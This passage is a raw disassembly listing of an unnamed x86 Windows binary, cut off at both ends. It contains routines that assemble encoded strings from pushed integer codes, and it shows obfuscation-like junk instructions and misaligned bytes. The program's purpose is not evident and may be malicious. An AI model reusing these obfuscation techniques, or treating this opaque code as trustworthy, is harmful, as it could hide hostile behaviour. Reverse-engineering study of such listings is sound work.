mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+10h+arg_0] mov ecx, esi call sub_401FFA mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_407020 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4070C0 proc near ; CODE XREF: sub_40117Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4018F2 mov edi, [esp+8+arg_0] mov esi, eax test edi, edi jnz short loc_4070D5 mov edi, esi loc_4070D5: ; CODE XREF: sub_4070C0+11j push esi call sub_40199C mov [eax], edi mov edi, [esp+0Ch+arg_4] add esp, 4 test edi, edi jnz short loc_4070EA mov edi, esi loc_4070EA: ; CODE XREF: sub_4070C0+26j push esi call sub_401B3B add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_4070C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407110 proc near ; CODE XREF: sub_40199Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_407110 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407130 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_407130 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407150 proc near ; CODE XREF: sub_401A6Ej mov eax, ecx retn sub_407150 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407170 proc near ; CODE XREF: sub_401FFAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011BD mov eax, esi pop esi retn 4 sub_407170 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4071A0 proc near ; CODE XREF: sub_401E4Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4071A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4071D0 proc near ; CODE XREF: sub_401B3Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4071D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4071F0 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401BF4 add esp, 8 retn 4 sub_4071F0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407220 proc near ; CODE XREF: sub_4015E6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40108C add esp, 8 retn 8 sub_407220 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407250 proc near ; CODE XREF: sub_4011BDj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_407250 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407270 proc near ; CODE XREF: sub_401B6Dj mov eax, [ecx] retn sub_407270 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407290 proc near ; CODE XREF: sub_401BF4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40729A xor eax, eax loc_40729A: ; CODE XREF: sub_407290+6j push eax call sub_43034A add esp, 4 retn sub_407290 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072C0 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011A4 add esp, 8 test eax, eax jz short locret_4072DB mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_4072DB: ; CODE XREF: sub_4072C0+11j retn sub_4072C0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072F0 proc near ; CODE XREF: sub_4011A4j arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_4072F0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407310 proc near ; CODE XREF: sub_401A37j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push 1633h push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_401726 push eax mov eax, [esp+20h+arg_0] push 0 push eax mov esi, 280163h call sub_401A69 lea ecx, [esp+0Ch+arg_4] mov [esp+0Ch+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+0Ch+var_C] mov large fs:0, ecx add esp, 0Ch retn 1Ch sub_407310 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4073A0 proc near ; CODE XREF: sub_401B9Fj var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push 1400B1h push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_401726 push eax lea ecx, [esp+20h+arg_4] call sub_401726 push eax mov eax, [esp+24h+arg_0] push eax mov edx, 622801h call sub_401A69 lea ecx, [esp+0Ch+arg_4] mov byte ptr [esp+0Ch+var_4], 0 call sub_4011F9 lea ecx, [esp+0Ch+arg_1C] mov [esp+0Ch+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+0Ch+var_C] mov large fs:0, ecx add esp, 0Ch retn 34h sub_4073A0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_407440: ; CODE XREF: sub_4011EFj push 0FFFFFFFFh push 391400h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+188h] call sub_4013CF lea ecx, [esp+158h] mov dword ptr [esp+358h], 0 call sub_4013CF lea ecx, [esp+128h] mov byte ptr [esp+358h], 1 call sub_4013CF lea ecx, [esp+0F8h] mov byte ptr [esp+358h], 2 call sub_4013CF lea ecx, [esp+80h] mov byte ptr [esp+358h], 3 call sub_4013CF lea ecx, [esp+98h] mov byte ptr [esp+358h], 4 call sub_4013CF lea ecx, [esp+0C8h] mov byte ptr [esp+358h], 5 call sub_4013CF lea ecx, [esp+200h] mov byte ptr [esp+358h], 6 call sub_4013CF lea ecx, [esp+68h] mov byte ptr [esp+358h], 7 call sub_4013CF lea ecx, [esp+338h] mov byte ptr [esp+358h], 8 call sub_4013CF lea ecx, [esp+308h] mov byte ptr [esp+358h], 9 call sub_4013CF lea ecx, [esp+2F0h] mov byte ptr [esp+358h], 0Ah call sub_4013CF lea ecx, [esp+2D8h] mov byte ptr [esp+358h], 0Bh call sub_4013CF lea ecx, [esp+320h] mov byte ptr [esp+358h], 0Ch call sub_4013CF lea ecx, [esp+230h] mov byte ptr [esp+358h], 0Dh call sub_4013CF lea ecx, [esp+278h] mov byte ptr [esp+358h], 0Eh call sub_4013CF lea ecx, [esp+248h] mov byte ptr [esp+358h], 0Fh call sub_4013CF lea ecx, [esp+1A0h] mov byte ptr [esp+358h], 10h call sub_4013CF lea ecx, [esp+0B0h] mov byte ptr [esp+358h], 11h call sub_4013CF mov byte ptr [esp+358h], 12h lea ecx, [esp+170h] call sub_4013CF lea ecx, [esp+1E8h] mov byte ptr [esp+358h], 13h call sub_4013CF lea ecx, [esp+140h] mov byte ptr [esp+358h], 14h call sub_4013CF lea ecx, [esp+1B8h] mov byte ptr [esp+358h], 15h call sub_4013CF lea ecx, [esp+110h] mov byte ptr [esp+358h], 16h call sub_4013CF lea ecx, [esp+2A8h] mov byte ptr [esp+358h], 17h call sub_4013CF lea ecx, [esp+260h] mov byte ptr [esp+358h], 18h call sub_4013CF lea ecx, [esp+2C0h] mov byte ptr [esp+358h], 19h call sub_4013CF lea ecx, [esp+290h] mov byte ptr [esp+358h], 1Ah call sub_4013CF lea ecx, [esp+0E0h] mov byte ptr [esp+358h], 1Bh call sub_4013CF lea ecx, [esp+2Ch] mov byte ptr [esp+358h], 1Ch call sub_4013CF lea ecx, [esp+44h] mov byte ptr [esp+358h], 1Dh call sub_4013CF mov bl, 1Eh push 1C8A00h lea ecx, [esp+18Ch] mov [esp+35Ch], bl call sub_4019A1 push 0E4500h lea ecx, [esp+15Ch] call sub_4019A1 push offset dword_472280 lea ecx, [esp+1ECh] call sub_4019A1 push 639140h lea ecx, [esp+12Ch] call sub_4019A1 push 71C8A0h lea ecx, [esp+0FCh] call sub_4019A1 push 38E450h lea ecx, [esp+144h] call sub_4019A1 push 5C7228h lea ecx, [esp+84h] call sub_4019A1 push 2E3914h lea ecx, [esp+0E4h] call sub_4019A1 push 171C8Ah lea ecx, [esp+9Ch] call sub_4019A1 push 0B8E45h lea ecx, [esp+0CCh] call sub_4019A1 push offset word_45C722 lea ecx, [esp+204h] call sub_4019A1 push 22E391h lea ecx, [esp+6Ch] call sub_4019A1 push 5171C8h lea ecx, [esp+234h] call sub_4019A1 push 68B8E4h lea ecx, [esp+27Ch] call sub_4019A1 push 745C72h lea ecx, [esp+24Ch] call sub_4019A1 push 7A2E39h lea ecx, [esp+1A4h] call sub_4019A1 push 7D171Ch lea ecx, [esp+0B4h] call sub_4019A1 push 7E8B8Eh lea ecx, [esp+174h] call sub_4019A1 push 7F45C7h lea ecx, [esp+114h] call sub_4019A1 push 7FA2E3h lea ecx, [esp+1BCh] call sub_4019A1 push 0 push 4Ch push 46h lea eax, [esp+20h] push 45h push eax call sub_4018DE add esp, 14h push eax lea ecx, [esp+2ACh] mov byte ptr [esp+35Ch], 1Fh call sub_401EAB lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 push 0 push 4Ah push 49h lea ecx, [esp+20h] push 46h push ecx call sub_4018DE add esp, 14h push eax lea ecx, [esp+2C4h] mov byte ptr [esp+35Ch], 20h call sub_401EAB lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 push 0 push 44h push 44h lea edx, [esp+20h] push 4Ah push edx call sub_4018DE add esp, 14h push eax lea ecx, [esp+264h] mov byte ptr [esp+35Ch], 21h call sub_401EAB lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 push 0 push 48h push 46h push 44h push 45h lea eax, [esp+28h] push eax call sub_4018DE add esp, 18h push eax lea ecx, [esp+294h] mov byte ptr [esp+35Ch], 22h call sub_401EAB lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 push 0 push 5 push 15h push 12h lea ecx, [esp+24h] push 14h push ecx call sub_4018DE add esp, 18h push eax lea ecx, [esp+30h] mov byte ptr [esp+35Ch], 23h call sub_401EAB lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 push 0 push 5 push 13h push 0Ch push 1 lea edx, [esp+28h] push 6 push edx call sub_4018DE add esp, 1Ch push eax lea ecx, [esp+48h] mov byte ptr [esp+35Ch], 24h call sub_401EAB lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 lea ecx, [esp+98h] call sub_401726 sub esp, 18h mov ecx, esp mov [esp+28h], esp push eax call sub_4017A8 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+88h] push 13h mov byte ptr [esp+3D0h], 25h push eax call sub_4018DE add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 26h call sub_401726 sub esp, 18h mov ecx, esp mov [esp+3Ch], esp push eax call sub_4017A8 lea ecx, [esi+0FECh] mov byte ptr [esp+388h], 27h push ecx mov ecx, esi call sub_401B9F lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 lea ecx, [esp+80h] call sub_401726 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_4017A8 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 28h call sub_4018DE add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 29h call sub_401726 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_4017A8 lea eax, [esi+1035h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 2Ah call sub_401B9F lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 lea ecx, [esp+158h] call sub_401726 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_4017A8 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+78h] push 13h push ecx mov byte ptr [esp+3C4h], 2Bh call sub_4018DE add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Ch call sub_401726 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_4017A8 lea edx, [esi+0FA3h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Dh call sub_401B9F lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 lea ecx, [esp+188h] call sub_401726 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_4017A8 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+80h] push 13h push eax mov byte ptr [esp+3CCh], 2Eh call sub_4018DE add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 2Fh call sub_401726 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_4017A8 lea ecx, [esi+0F5Ah] mov byte ptr [esp+388h], 30h push ecx mov ecx, esi call sub_401B9F lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 lea ecx, [esp+68h] call sub_401726 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_4017A8 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+90h] push 13h push edx mov byte ptr [esp+3DCh], 31h call sub_4018DE add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 32h call sub_401726 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_4017A8 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 33h call sub_401B9F lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 lea ecx, [esp+1E8h] call sub_401726 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_4017A8 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+88h] push 13h push eax mov byte ptr [esp+3D4h], 34h call sub_4018DE add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 35h call sub_401726 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_4017A8 lea ecx, [esi+0F11h] mov byte ptr [esp+388h], 36h push ecx mov ecx, esi call sub_401B9F lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 lea ecx, [esp+44h] call sub_401726 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_4017A8 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 mov byte ptr [esp+3C8h], 37h push 13h lea edx, [esp+88h] push edx call sub_4018DE add esp, 60h mov ecx, eax mov byte ptr [esp+370h], 38h call sub_401726 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_4017A8 lea eax, [esi+107Eh] mov ecx, esi push eax mov byte ptr [esp+38Ch], 39h call sub_401B9F lea ecx, [esp+14h] mov [esp+358h], bl call sub_4011F9 lea ecx, [esp+10h] mov [esp+10h], edi push ecx mov esp, 0EFFA2Eh call sub_40197E lea ecx, [esp+98h] call sub_401726 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_4017A8 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 3Ah call sub_4018DE add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 3Bh call sub_401726 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_4017A8 lea eax, [esi+1234h] ; --------------------------------------------------------------------------- db 8Bh ; =============== S U B R O U T I N E ======================================= sub_407E8F proc near ; CODE XREF: sub_4181B0+2Ap ; DATA XREF: sub_4181B0+16o arg_38 = dword ptr 3Ch arg_3C = dword ptr 40h arg_40 = byte ptr 44h arg_58 = byte ptr 5Ch arg_70 = byte ptr 74h arg_88 = dword ptr 8Ch arg_8C = dword ptr 90h arg_90 = dword ptr 94h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = dword ptr 380h arg_384 = dword ptr 388h into push eax mov byte ptr [esp+4+arg_384], 3Ch call sub_401B9F lea ecx, [esp-30h+arg_40] mov byte ptr [esp-30h+arg_384], bl call sub_4011F9 lea ecx, [esp-30h+arg_AC] call sub_401726 sub esp, 18h mov ecx, esp mov [esp-18h+arg_38], esp push eax call sub_4017A8 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+44h+arg_40] push 13h push ecx mov byte ptr [esp+4Ch+arg_384], 3Dh call sub_4018DE add esp, 64h mov ecx, eax mov byte ptr [esp-18h+arg_384], 3Eh call sub_401726 sub esp, 18h mov ecx, esp mov [esp+arg_3C], esp push eax call sub_4017A8 lea edx, [esi+127Dh] mov ecx, esi push edx mov byte ptr [esp+4+arg_384], 3Fh call sub_401B9F lea ecx, [esp-30h+arg_40] mov byte ptr [esp-30h+arg_384], bl call sub_4011F9 lea ecx, [esp-30h+arg_124] call sub_401726 sub esp, 18h mov ecx, esp mov [esp-18h+arg_38], esp push eax call sub_4017A8 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 mov byte ptr [esp+28h+arg_384], 40h push 13h push 3Fh push 9 lea eax, [esp+34h+arg_40] push 13h push eax call sub_4018DE add esp, 54h mov ecx, eax mov byte ptr [esp-18h+arg_384], 41h call sub_401726 sub esp, 18h mov ecx, esp mov [esp+arg_3C], esp push eax call sub_4017A8 lea ecx, [esi+11EBh] mov byte ptr [esp+arg_384], 42h push ecx mov ecx, esi call sub_401B9F lea ecx, [esp-30h+arg_40] mov byte ptr [esp-30h+arg_384], bl call sub_4011F9 lea ecx, [esp-30h+arg_154] call sub_401726 sub esp, 18h mov ecx, esp mov [esp-18h+arg_38], esp push eax call sub_4017A8 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+3Ch+arg_40] push 13h push edx mov byte ptr [esp+44h+arg_384], 43h call sub_4018DE add esp, 5Ch mov ecx, eax mov byte ptr [esp-18h+arg_384], 44h call sub_401726 sub esp, 18h mov ecx, esp mov [esp+arg_3C], esp push eax call sub_4017A8 lea eax, [esi+11A2h] mov ecx, esi push eax mov byte ptr [esp+4+arg_384], 45h call sub_401B9F lea ecx, [esp-30h+arg_40] mov byte ptr [esp-30h+arg_384], bl call sub_4011F9 lea ecx, [esp-30h+arg_94] call sub_401726 sub esp, 18h mov ecx, esp mov [esp-18h+arg_38], esp push eax call sub_4017A8 push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+4Ch+arg_40] push 13h push ecx mov byte ptr [esp+54h+arg_384], 46h call sub_4018DE add esp, 6Ch mov ecx, eax mov byte ptr [esp-18h+arg_384], 47h call sub_401726 sub esp, 18h mov ecx, esp mov [esp+arg_3C], esp push eax call sub_4017A8 lea edi, [esi+10C7h] mov ecx, esi push edi mov byte ptr [esp+4+arg_384], 48h call sub_401B9F lea ecx, [esp-30h+arg_40] mov byte ptr [esp-30h+arg_384], bl call sub_4011F9 lea ecx, [esp-30h+arg_16C] call sub_401726 sub esp, 18h mov ecx, esp mov [esp-18h+arg_38], esp push eax call sub_4017A8 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 mov byte ptr [esp+2Ch+arg_384], 49h push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+44h+arg_40] push 13h push edx call sub_4018DE add esp, 64h mov ecx, eax mov byte ptr [esp-18h+arg_384], 4Ah call sub_401726 sub esp, 18h mov ecx, esp mov [esp+arg_3C], esp push eax call sub_4017A8 lea eax, [esi+1159h] mov ecx, esi push eax mov byte ptr [esp+4+arg_384], 4Bh call sub_401B9F lea ecx, [esp-30h+arg_40] mov byte ptr [esp-30h+arg_384], bl call sub_4011F9 lea ecx, [esp-30h+arg_70] call sub_401726 sub esp, 18h mov ecx, esp mov [esp-18h+arg_38], esp push eax call sub_4017A8 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+40h+arg_40] push 13h push ecx mov byte ptr [esp+48h+arg_384], 4Ch call sub_4018DE add esp, 60h mov ecx, eax mov byte ptr [esp-18h+arg_384], 4Dh call sub_401726 sub esp, 18h mov ecx, esp mov [esp+arg_3C], esp push eax call sub_4017A8 lea edx, [esi+12C6h] mov ecx, esi push edx mov byte ptr [esp+4+arg_384], 4Eh call sub_401B9F mov byte ptr [esp-30h+arg_384], bl lea ecx, [esp-30h+arg_40] call sub_4011F9 lea eax, [esp-30h+arg_3C] mov ecx, offset dword_47FFE8 push eax mov [esp-2Ch+arg_3C], edi call sub_40197E push 2BFFF4h push 55FFFAh call sub_40102D add esp, 8 lea ecx, [esp-30h+arg_1FC] call sub_4013CF lea ecx, [esp-30h+arg_244] mov byte ptr [esp-30h+arg_384], 4Fh call sub_4013CF push 6AFFFDh push 757FFEh mov byte ptr [esp-28h+arg_384], 50h call sub_402018 add esp, 8 lea ecx, [esp-30h+arg_1FC] push eax push 3ABFFFh push ecx call sub_40102D push 1D5FFFh push 0EAFFFh call sub_402018 add esp, 14h lea edx, [esp-30h+arg_244] push eax push 757FFh push edx call sub_40102D sub esp, 0Ch lea eax, [esp-18h+arg_58] mov ecx, esp mov [esp-18h+arg_38], esp push eax call sub_40146F lea ecx, [esi+606h] push ecx mov ecx, esi call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_58] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+64Fh] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_58] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+897h] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_70] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+450h] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_70] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+499h] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_58] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+52Bh] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_58] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+574h] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_58] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+0B28h] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_70] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+8E0h] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_244] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+3BEh] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_19C] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+407h] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_DC] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+5BDh] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_13C] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+698h] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_28C] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+72Ah] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_10C] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+6E1h] mov ecx, esi push eax call sub_401A37 sub esp, 18h mov ecx, esp mov [esp-18h+arg_38], esp push 3ABFFh call sub_40146F lea ecx, [esi+251h] push ecx mov ecx, esi call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_F4] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+29Ah] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_22C] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+2E3h] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_1E4] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+32Ch] mov ecx, esi push eax call sub_401A37 sub esp, 18h lea edx, [esp-18h+arg_1FC] mov ecx, esp mov [esp-18h+arg_38], esp push edx call sub_40146F lea eax, [esi+375h] mov ecx, esi push eax call sub_401A37 push 0 mov edi, 280EAFh call sub_401415 mov ecx, [eax] add ecx, 16Dh call sub_401726 push eax push 1C0757h mov edx, 0A6701Dh call sub_401528 push 0 mov ecx, 0A5B380h call sub_401415 mov ecx, [eax] add ecx, 1B6h call sub_401726 push eax push 52D9C0h mov ecx, 0C9696Ch call sub_401528 push 0 mov esi, 0E4B4Bh call sub_401415 mov ecx, [eax] call sub_401726 push eax push 725A5h mov edx, 392Dh call sub_401528 push 0 mov edx, 6001C9h call sub_401415 mov ecx, [eax] add ecx, 124h call sub_401726 push eax push 3800E4h mov esi, 85C007h call sub_401528 push 0 mov eax, 0EA1700h call sub_401415 mov ecx, [eax] add ecx, 0DBh call sub_401726 push eax push 750B80h mov ebp, 0E2BD42h call sub_401528 push 0 mov eax, 0EE2BD4h call sub_401415 mov ecx, [eax] add ecx, 92h call sub_401726 push eax push 7F15EAh mov ebp, 0EFF15Eh call sub_401528 push 0 mov edx, 0FFFC5h call 